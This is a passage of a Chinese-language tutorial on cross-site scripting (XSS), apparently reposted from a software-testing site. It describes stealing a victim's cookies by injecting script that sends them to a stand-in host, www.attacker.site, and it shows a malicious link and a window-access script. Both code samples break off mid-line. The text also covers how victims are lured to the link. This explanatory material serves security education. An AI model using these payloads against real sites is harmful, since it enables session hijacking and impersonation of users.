當然,真正的惡意攻擊包含了將這些 cookies 發送給黑客的操作。對此,黑客可能建立 Web 站點(www.attacker.site)并使用腳本來接收 cookies。替代彈出窗口,黑客會書寫訪問 www.attacker.site 的 URL 的代碼,從而調用接收 cookie 的腳本,其參數設置為被竊取的 cookies。這樣,黑客可以從 www.attacker.site 服務器上獲得 cookies。
惡意的鏈接會是:
http://www.vulnerable.site/welcome.cgi?name=<script>window.open |
響應頁面看起來像這樣:
<HTML> <Title>Welcome!</Title> Hi |
加載該頁面的瀏覽器會立即執行內嵌的 JavaScript,并向 www.attacker.site 中的 collect.cgi 腳本發送請求,并附帶著瀏覽器已經擁有的 www.vulnerable.site 的 cookies 的值。這樣就泄漏了客戶端所擁有的 www.vulnerable.site 的 cookies。這將允許黑客冒充受害者?蛻舻碾[私就完全被破壞了。
注意:
引發 JavaScript 彈出窗口的出現通常足夠說明該站點容易受到 XSS 攻擊。如果可以調用 JavaScript
Alert 方法,那么通常沒理由 window.open 調用不成功。這就是為什么大部分 XSS 攻擊的實例使用 Alert
方法,因為這很容易檢測其成功。
攻擊只會在受害者用于訪問站點(www.vulnerable.site)的同一個瀏覽器中發生。黑客需要強迫客戶端訪問惡意鏈接。這會以以下這些方式進行:
- 黑客發送包含強迫瀏覽器訪問該鏈接的 HTML 頁面的電子郵件消息。這要求受害者使用 HTML 有效的電子郵件客戶端,并且客戶端的 HTML 閱讀器是用于訪問 www.vulnerable.site 的同一個瀏覽器。
- 客戶端訪問可能受黑客運作的站點,其中的圖片鏈接或其他激活的 HTML 強迫瀏覽器訪問該鏈接。再次聲明,必須要求瀏覽器與訪問該站點和 www.vulnerable.site 的是同一個瀏覽器。
惡意的 JavaScript 可以訪問任何下列信息:
- 瀏覽器維護的(www.vulnerable.site 的)永久 cookies
- 瀏覽器實例維護的(www.vulnerable.site 的)RAM cookies,但只有當最近瀏覽 www.vulnerable.site 時發生。
- 為 www.vulnerable.site 打開的其他窗口的名稱
- 可以通過當前的 DOM 訪問的任何信息(如值、HTML 代碼,等等)
身份識別、驗證和授權標志通常以 cookies 形式維護。如果這些 cookies 是永久的,那么即使不在訪問 www.vulnerable.site 的時候使用瀏覽器,受害者也是易受攻擊的。然而,如果 cookies 是臨時的,例如 RAM cookies,那么客戶端必須處于訪問 www.vulnerable.site 的會話中。
身份識別標志的另一種可能的實現是通過 URL 參數。在這種情況下,可以用這種方式使用 JavaScript 訪問其他窗口(假設帶有必要的 URL 參數的頁面的名稱為 foobar):
<script>var victim_window=open(",'foobar');alert('Can access: |
文章來源于領測軟件測試網 http://www.kjueaiud.com/